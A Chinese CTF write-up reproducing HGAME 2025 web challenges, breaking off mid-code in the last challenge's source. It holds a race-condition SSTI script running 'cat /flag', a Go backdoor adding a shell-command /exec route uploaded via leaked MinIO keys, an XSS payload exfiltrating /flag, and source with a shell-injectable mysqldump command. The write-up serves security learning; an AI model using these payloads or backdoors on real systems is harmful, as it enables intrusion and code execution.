HgameCTF2025 部分 web 复现

Hgame2025 尝试复现

角落

题目描述:

1
2
3
4
5
6
7
8
9
10
11
不安全 | 未勘探完全 | 实体侵占

这里被称为“角落(The Corner)”,仿佛是某个庞大迷宫中被遗漏的碎片。

墙壁上挂着一块破旧的留言板,四周弥漫着昏暗的光线和低沉的回响。

据说,这块留言板是通往外界的唯一线索,但它隐藏着一个不为人知的秘密——留言板的管理者会查看留言板上的信息,并决定谁有资格离开。

这里的实体似乎对留言板有着特殊的兴趣,它们会不断地在留言板上留下奇怪的符号或重复的单词,仿佛在进行某种神秘的仪式。

或许,可以通过这些仪式借助管理者的力量离开。

可能是留言板类的xss?
开题,给了是个留言板,不过保险起见先扫目录。。
扫了一会可能是被ban了

自己fuzz一下:

该不会是在status注入吧?
毕竟发生消息了也没地方回显
先尝试用fenjing看看
感觉是ssti,但是fenjing不好出来,我也不好枚举waf

再扫一次目录吧

这次扫出了/robots.txt

1
2
3
User-agent: *
Disallow: /app.conf
Disallow: /app/*

访问一下app.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

到这没思路了,看wp
好嘛,看题目我还以为是带bot的xss

然后去读一下源码
漏洞原理还时间深究,似乎是apache的历史遗留问题,总之构造如下的请求:

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)

#可以看发送的消息是写入一个message.txt里
@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

#然后渲染到/app/read这里,如何有 '{' 会触发waf
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

那就是ssti了,但是没有’{‘该如何触发ssti呢?
能看到是用条件竞争来写ssti
关键点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg(): #第一次调用
show = show_msg.replace("{{message}}", readmsg()) #第二次调用
return render_template_string(show)
return 'waf!!'

我们同时发送message和访问/read,这里 route 的两次 readmsg() 是独立调用的,它们之间没有加锁或同步机制,可能造成条件竞争写入。

同时运行两个脚本,

1
2
3
4
5
import requests
while True:
data={"message":"{{(QwQ.__eq__.__globals__.sys.modules.os.popen('cat /flag')).read()}}"}
put=requests.post(url="http://hgame.vidar.club:44678/app/send",data=data)
print(put.text)
1
2
3
4
import requests
while True:
get=requests.get(url="http://hgame.vidar.club:44678/app/read")
print(get.text)

双面人派对

题目描述依旧财迷,开题看看
发现有两个容器

一个给了一个名为main的文件
dir扫了两个链接的目录,没发现

完全没思路。
直接看wp

tags: go逆向,minio,go脱壳
拿到的main文件是go编译的程序

[GIN-debug] 和 github.com/gin-gonic/gin 是 Go Web 框架的典型输出

可以看到这个一直报错无法连接127.0.0.1:9000
可能判断应该是一个内网程序
再让ai分析一下特征

使用upx 脱壳

1
upx -d main

然后可以直接用010找:

能看到有一串字符:

1
2
3
4
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"

能看到应该是一串用于链接127.0.0.1:9000 端口上minio服务的key
然后是minlo,哎,该来的还是逃不掉
下载mc管理器(minio_client)

1
2
3
4
5
wget https://dl.min.io/client/mc/release/linux-amd64/mc

chmod +x mc

sudo mv mc /usr/local/bin/

然后尝试连接:

1
./mc alias set myminio http://hgame.vidar.club:42849 minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=


显示成功添加-桶子?

然后可以进行以下操作:

1
2
3
4
5
//查看容器
mc ls myminio/hints

//下载容器内容
mc mirror myminio/hints src.zip

然后拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// main  
package main

import (
"level25/fetch"

"level25/conf"

"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)

func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})

}

func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/", gin.Dir(".", true))
g.Run(":8080")
}

我们在主路由程序里加上命令执行功能然后再编译,用mc上传
不懂go的写法,直接拿师傅的wp
https://www.cnblogs.com/TouHp/p/18707742

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package main

import (
"level25/fetch"
"level25/conf"

"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
"os/exec"
)

func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}

func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/", gin.Dir(".", true))

// 添加命令执行路由
g.GET("/exec", func(c *gin.Context) {
cmdStr := c.Query("cmd")
if cmdStr == "" {
c.String(400, "Missing 'cmd' parameter")
return
}
cmd := exec.Command("sh", "-c", cmdStr)
output, err := cmd.CombinedOutput()
if err != nil {
c.String(500, "Error: %v\nOutput: %s", err, output)
return
}
c.Data(200, "text/plain", output)
})

g.Run(":8080")
}

然后编译,这里编译要下很多组件,而且在国内网络环境下不了,记得用办法将整机流量代理一下

1
2
3
4
go build -o update main.go

//最后上传文件
./mc cp update myminio/prodbucket/update

https://www.cnblogs.com/TouHp/p/18707742

MysteryMessageBoard

tags: xss

不安全 | 正在勘探中 | 少量实体
在一个昏暗的空间里,存在着一块神秘的留言板,挂在虚拟墙壁上,仿佛可以窥见外界的光明。每一条信息都能带来不同的后果,但它们都被一个神秘的管理者所审视,这位管理者决定了谁能够通过这扇门,谁将永远被困在这片虚拟的牢笼中。
这块留言板被某种看不见的力量所控制,留言的内容似乎会触发某种仪式,每个输入的字符都充满了未知的能量。输入者的每一句话,都可能成为被审视的焦点,甚至引发一种奇异的变化,仿佛信息的力量能够改变现实,带着留言者穿越虚拟与真实的边界。
这块留言板上的秘密,正等待着被揭开
(容器内端口为8888)

根据题意可能是xss,这种一般是一个留言板加bot组合

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
package main

import (
"context"
"fmt"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"log"
"net/http"
"sync"
"time"
)

// 账户认证
var (
store = sessions.NewCookieStore([]byte("fake_key")) //sessions key
users = map[string]string{
"shallot": "fake_password", //两个账户
"admin": "fake_password"}
comments []string
flag = "FLAG{this_is_a_fake_flag}"
lock sync.Mutex
)

func loginHandler(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
if storedPassword, ok := users[username]; ok && storedPassword == password {
session, _ := store.Get(c.Request, "session")
session.Values["username"] = username
session.Options = &sessions.Options{
Path: "/",
MaxAge: 3600,
HttpOnly: false,
Secure: false,
}
session.Save(c.Request, c.Writer)
c.String(http.StatusOK, "success")
return
}
log.Printf("Login failed for user: %s\n", username)
c.String(http.StatusUnauthorized, "error")
}
func logoutHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
delete(session.Values, "username")
session.Save(c.Request, c.Writer)
c.Redirect(http.StatusFound, "/login")
}
func indexHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
username, ok := session.Values["username"].(string)
if !ok {
log.Println("User not logged in, redirecting to login")
c.Redirect(http.StatusFound, "/login")
return
}
if c.Request.Method == http.MethodPost {
comment := c.PostForm("comment")
log.Printf("New comment submitted: %s\n", comment)
comments = append(comments, comment)
}
htmlContent := fmt.Sprintf(`<html>
<body>
<h1>留言板</h1>
<p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p>
<form method="post">
<textarea name="comment" required></textarea><br>
<input type="submit" value="提交评论">
</form>
<h3>留言:</h3>
<ul>`, username)
for _, comment := range comments {
htmlContent += "<li>" + comment + "</li>"
}
htmlContent += `</ul>
<p><a href="/logout">退出</a></p>
</body>
</html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}
//这个admin应该就是bot
func adminHandler(c *gin.Context) {
htmlContent := `<html><body>
<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p>
</body></html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
//无头浏览器模拟登录admin,并以admin身份访问/路由
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(context.Background())
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx, myTasks()); err != nil {
log.Println("Chromedp error:", err)
return
}
}()
}

// 无头浏览器操作
func myTasks() chromedp.Tasks {
return chromedp.Tasks{
chromedp.Navigate("/login"),
chromedp.WaitVisible(`input[name="username"]`),
chromedp.SendKeys(`input[name="username"]`, "admin"),
chromedp.SendKeys(`input[name="password"]`, "fake_password"),
chromedp.Click(`input[type="submit"]`),
chromedp.Navigate("/"),
chromedp.Sleep(5 * time.Second),
}
}

func flagHandler(c *gin.Context) {
log.Println("Handling flag request")
session, err := store.Get(c.Request, "session")
if err != nil {
c.String(http.StatusInternalServerError, "无法获取会话")
return
}
username, ok := session.Values["username"].(string)
if !ok || username != "admin" {
c.String(http.StatusForbidden, "只有admin才可以访问哦")
return
}
log.Println("Admin accessed the flag")
c.String(http.StatusOK, flag)
}
func main() {
r := gin.Default()
r.GET("/login", loginHandler)
r.POST("/login", loginHandler)
r.GET("/logout", logoutHandler)
r.GET("/", indexHandler)
r.GET("/admin", adminHandler)
r.GET("/flag", flagHandler)
log.Println("Server started at :8888")
log.Fatal(r.Run(":8888"))
}

攻击思路,在留言板写下xss,然后访问/admin,这时程序模拟浏览器来访问后触发xss
这时候在xss写的可以是admin的session,或者让admin访问/flag然后传回来,看留言板功能
题目给了内部端口为8888 看来能直接尝试写到留言板里

由于admin是关键,应该不会是弱口令,先尝试shallot
这里不知道shallot的账户和密码,先尝试扫目录和爆破密码

扫目录没发现什么结果
爆破密码得到密码为: 888888

写xss:

1
<script>fetch('/flag').then(r=>r.text()).then(f=>fetch('/',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'comment='+encodeURIComponent(f)}))</script>

让后访问/admin
得到结果:

HoneyPot_revenge

这次把passwd的部分也添加过滤了
但是注意利用点:

1
2
3
4
5
dumpCmd := exec.Command("mysqldump",
"-h", config.RemoteHost,
"-u", config.RemoteUsername,
"-p"+config.RemotePassword,
config.RemoteDatabase)

mysql的mysqldump备份是有漏洞能利用到rce的
漏洞原理:
CVE-2024-21096

平台环境问题无法复现,具体操作来看这位师傅的:https://blog.xrntkk.top/post/hgame_2025/#level-21096-honeypot_revenge

HoneyPot

根据题目猜测可能是蜜罐题,看一眼源码,发现多的一批,用ai帮审计一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
//作用,将用户指定的远程mysql数据库下载到当前主机然后呈现给用户  
package main

import (
"database/sql"
"encoding/json"
"fmt"
"github.com/gin-contrib/cors"
"github.com/gin-gonic/gin"
_ "github.com/go-sql-driver/mysql"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"regexp"
"strconv"
"strings"
"sync"
)

type DBConfig struct {
Host string `json:"host" binding:"required"`
Port string `json:"port" binding:"required"`
Username string `json:"username" binding:"required"`
Password string `json:"password" binding:"required"`
}

type ImportConfig struct {
RemoteHost string `json:"remote_host" binding:"required"`
RemotePort string `json:"remote_port" binding:"required"`
RemoteUsername string `json:"remote_username" binding:"required"`
RemotePassword string `json:"remote_password" binding:"required"`
RemoteDatabase string `json:"remote_database" binding:"required"`
LocalDatabase string `json:"local_database" binding:"required"`
}

type ConnectionManager struct {
mu sync.Mutex
db *sql.DB
conf *DBConfig
}

var manager = &ConnectionManager{}
var localConfig DBConfig

func loadLocalConfig() error {
configFile, err := os.Open("config.json")
if err != nil {
return fmt.Errorf("error opening config file: %v", err)
}
defer configFile.Close()

decoder := json.NewDecoder(configFile)
if err := decoder.Decode(&localConfig); err != nil {
return fmt.Errorf("error decoding config file: %v", err)
}

return nil
}
func main() {
if err := loadLocalConfig(); err != nil {
log.Fatalf("Failed to load local configuration: %v", err)
}
r := gin.Default()

config := cors.DefaultConfig()
config.AllowAllOrigins = true
config.AllowHeaders = []string{"Origin", "Content-Length", "Content-Type"}
r.Use(cors.New(config))
r.LoadHTMLGlob("index.html")
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
r.GET("/flag", func(c *gin.Context) { //有路由flag,但是只返回读取flag失败
data, err := ioutil.ReadFile("/flag")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to read /flag file"})
return
}
c.String(http.StatusOK, string(data))
})
api := r.Group("/api")
{
api.GET("/databases", getDatabases)
api.GET("/tables", getTables)
api.GET("/data", getTableData)
api.GET("/database", createDatabase)
api.GET("/search", searchTableData)
api.POST("/test-connection", testConnection)
api.POST("/test-import-connection", testImportConnection)
api.POST("/connect", connect)
api.POST("/import", ImportData)

}

log.Printf("Server starting on http://localhost:9090")
r.Run(":9090")
}

func testConnection(c *gin.Context) {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to open connection: " + err.Error(),
})
return
}
defer db.Close()

if err := db.Ping(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Connection successful",
})
}

func testImportConnection(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}

if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}

dsn := fmt.Sprintf("%s:%s@tcp(%s:%s)/%s", //过滤函数,过滤了一些用户可控的传入数据的函数
sanitizeInput(config.RemoteUsername),
config.RemotePassword,
sanitizeInput(config.RemoteHost),
config.RemotePort,
sanitizeInput(config.RemoteDatabase),
)

db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to open connection: " + err.Error(),
})
return
}
defer db.Close()

if err := db.Ping(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect: " + err.Error(),
})
return
}

var dbExists bool
err = db.QueryRow("SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME = ?",
config.RemoteDatabase).Scan(&dbExists)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to verify database: " + err.Error(),
})
return
}

if !dbExists {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Remote database does not exist",
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Connection successful",
})
}

func connect(c *gin.Context) {
var config DBConfig
manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db != nil {
manager.db.Close()
}
dsn := buildDSN(localConfig)
db, _ := sql.Open("mysql", dsn)

if err := db.Ping(); err != nil {
db.Close()
return
}

manager.db = db
manager.conf = &config
c.JSON(http.StatusBadRequest, gin.H{
"success": true,
"message": "Connected To Database",
})
return
}

func getDatabases(c *gin.Context) {
manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db == nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "No active connection",
})
return
}

rows, err := manager.db.Query("SHOW DATABASES")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to fetch databases: " + err.Error(),
})
return
}
defer rows.Close()

var databases []string
for rows.Next() {
var dbName string
if err := rows.Scan(&dbName); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to scan database name: " + err.Error(),
})
return
}
if dbName != "information_schema" && dbName != "mysql" &&
dbName != "performance_schema" && dbName != "sys" {
databases = append(databases, dbName)
}
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"data": databases,
})
}

func getTables(c *gin.Context) {
dbName := c.Query("database")
if dbName == "" {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Database name is required",
})
return
}

manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db == nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "No active connection",
})
return
}

if _, err := manager.db.Exec("USE `" + dbName + "`"); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to switch database: " + err.Error(),
})
return
}

rows, err := manager.db.Query("SHOW TABLES")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to fetch tables: " + err.Error(),
})
return
}
defer rows.Close()

var tables []string
for rows.Next() {
var tableName string
if err := rows.Scan(&tableName); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to scan table name: " + err.Error(),
})
return
}
tables = append(tables, tableName)
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"data": tables,
})
}

func getTableData(c *gin.Context) {
dbName := c.Query("database")
tableName := c.Query("table")
page := c.DefaultQuery("page", "0")
size := c.DefaultQuery("size", "0")

if dbName == "" || tableName == "" {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Database and table names are required",
})
return
}

manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db == nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "No active connection",
})
return
}

if _, err := manager.db.Exec(fmt.Sprintf("USE `%s`", dbName)); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to switch database: " + err.Error(),
})
return
}

columns, err := getTableColumns(manager.db, tableName)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to get table structure: " + err.Error(),
})
return
}

var total int
sumQuery := fmt.Sprintf("SELECT COUNT(*) FROM `%s`.`%s`", dbName, tableName)
if err := manager.db.QueryRow(sumQuery).Scan(&total); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to get total count: " + err.Error(),
})
return
}

var query string
if page != "0" && size != "0" {
pageNum, err1 := strconv.Atoi(page)
pageSize, err2 := strconv.Atoi(size)
if err1 != nil || err2 != nil || pageNum < 1 || pageSize < 1 {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid page or size parameter",
})
return
}

offset := (pageNum - 1) * pageSize
query = fmt.Sprintf("SELECT * FROM `%s`.`%s` LIMIT %d OFFSET %d",
dbName, tableName, pageSize, offset)
} else {
query = fmt.Sprintf("SELECT * FROM `%s`.`%s` LIMIT 10", dbName, tableName)
}

rows, err := manager.db.Query(query)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to fetch data: " + err.Error(),
})
return
}
defer rows.Close()

var results []map[string]interface{}
for rows.Next() {
values := make([]interface{}, len(columns))
valuePtrs := make([]interface{}, len(columns))
for i := range columns {
valuePtrs[i] = &values[i]
}

if err := rows.Scan(valuePtrs...); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to scan row: " + err.Error(),
})
return
}

row := make(map[string]interface{})
for i, col := range columns {
val := values[i]
if b, ok := val.([]byte); ok {
row[col] = string(b)
} else {
row[col] = val
}
}
results = append(results, row)
}

if err = rows.Err(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Error iterating rows: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"data": gin.H{
"records": results,
"total": total,
},
})
}

func getTableColumns(db *sql.DB, tableName string) ([]string, error) {
rows, err := db.Query("SHOW COLUMNS FROM `" + tableName + "`")
if err != nil {
return nil, err
}
defer rows.Close()

var columns []string
for rows.Next() {
var field, typ, null, key, default_value, extra sql.NullString
if err := rows.Scan(&field, &typ, &null, &key, &default_value, &extra); err != nil {
return nil, err
}
columns = append(columns, field.String)
}

if err = rows.Err(); err != nil {
return nil, err
}

return columns, nil
}
func createDatabase(c *gin.Context) {
databaseName := c.Query("db")
query := fmt.Sprintf("CREATE DATABASE IF NOT EXISTS `%s`", databaseName)
_, err := manager.db.Exec(query)
if err != nil {
c.JSON(http.StatusOK, gin.H{"success": "false", "message": err})
return
}
c.JSON(http.StatusOK, gin.H{"success": "true", "message": "创建数据库" + databaseName + "成功"})
return
}
func createdb(dbname string) error {
query := fmt.Sprintf("CREATE DATABASE IF NOT EXISTS `%s`", dbname)
_, err := manager.db.Exec(query)
return err
}

func buildDSN(config DBConfig) string {
return config.Username + ":" + config.Password + "@tcp(" + config.Host + ":" + config.Port + ")/"
}
func ImportData(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}
if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}

config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
if manager.db == nil {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect to local database: " + err.Error(),
})
return
}

if err := db.Ping(); err != nil {
db.Close()
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to ping local database: " + err.Error(),
})
return
}

manager.db = db
}
if err := createdb(config.LocalDatabase); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create local database: " + err.Error(),
})
return
}
//Never able to inject shell commands,Hackers can't use this,HaHa
//原题内容?在提示什么?
//下面为命令拼接,将会拼接出一条命令,来远程获取一个主机的mysql数据库的内容然后返回到当前主机上
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
config.RemoteHost,
config.RemoteUsername,
config.RemotePassword,
config.RemoteDatabase,
localConfig.Username,
localConfig.Password,
config.LocalDatabase,
)
fmt.Println(command)
cmd := exec.Command("sh", "-c", command) //命令执行,这里可以知道后端是用sh来调用mysql的,造成注入风险
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Data imported successfully",
})
}
func sanitizeInput(input string) string { //waf的字典
reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\` + "`" + `]`)
return reg.ReplaceAllString(input, "")
}
func searchTableData(c *gin.Context) {
dbName := c.Query("database")
tableName := c.Query("table")
keyword := c.Query("keyword")
page := c.DefaultQuery("page", "1")
size := c.DefaultQuery("size", "10")

if dbName == "" || tableName == "" {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Database and table names are required",
})
return
}

manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db == nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "No active connection",
})
return
}

if _, err := manager.db.Exec(fmt.Sprintf("USE `%s`", dbName)); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to switch database: " + err.Error(),
})
return
}

columns, err := getTableColumns(manager.db, tableName)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to get table structure: " + err.Error(),
})
return
}

var whereClause string
var args []interface{}
if keyword != "" {
var conditions []string
for _, col := range columns {
conditions = append(conditions, fmt.Sprintf("`%s` LIKE ?", col))
args = append(args, "%"+keyword+"%")
}
whereClause = " WHERE " + strings.Join(conditions, " OR ")
}

var total int
countQuery := fmt.Sprintf("SELECT COUNT(*) FROM `%s`%s", tableName, whereClause)
if err := manager.db.QueryRow(countQuery, args...).Scan(&total); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to get total count: " + err.Error(),
})
return
}

pageNum, _ := strconv.Atoi(page)
pageSize, _ := strconv.Atoi(size)
offset := (pageNum - 1) * pageSize

query := fmt.Sprintf("SELECT * FROM `%s`%s LIMIT ? OFFSET ?", tableName, whereClause)
args = append(args, pageSize, offset)

rows, err := manager.db.Query(query, args...)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to fetch data: " + err.Error(),
})
return
}
defer rows.Close()

var results []map[string]interface{}
for rows.Next() {
values := make([]interface{}, len(columns))
